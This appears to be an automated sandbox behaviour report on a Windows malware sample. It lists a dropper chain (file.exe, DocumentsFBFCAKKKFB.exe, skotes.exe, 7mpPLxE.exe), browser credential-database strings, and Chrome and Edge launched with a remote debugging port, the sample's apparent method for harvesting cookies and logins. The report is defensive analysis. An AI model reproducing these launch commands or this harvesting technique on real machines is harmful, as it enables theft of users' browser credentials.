Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\0a907e5e-5df8-4874-a3d6-d331cf5452a4.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2085468141.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2085468141.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2085468141.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2085468141.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2085468141.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2085468141.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2085468141.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1697793575.000000001DA39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1789705326.000000001DA2D000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733947820.0000000005499000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733445902.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, EGIIJDHCGCBKECBFIJKK.0.dr, AEBKECFCFBGCAAKEGIJD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2085468141.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2085468141.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 51%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsFBFCAKKKFB.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7mpPLxE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2300,i,15339701859179161411,15348730028452467076,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2316,i,7836467424862608864,15841045367837416628,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6716 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6736 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBFCAKKKFB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFBFCAKKKFB.exe "C:\Users\user\DocumentsFBFCAKKKFB.exe"
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5300 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe "C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBFCAKKKFB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2300,i,15339701859179161411,15348730028452467076,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2316,i,7836467424862608864,15841045367837416628,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6716 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6736 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBFCAKKKFB.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5300 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFBFCAKKKFB.exe "C:\Users\user\DocumentsFBFCAKKKFB.exe"
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe "C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
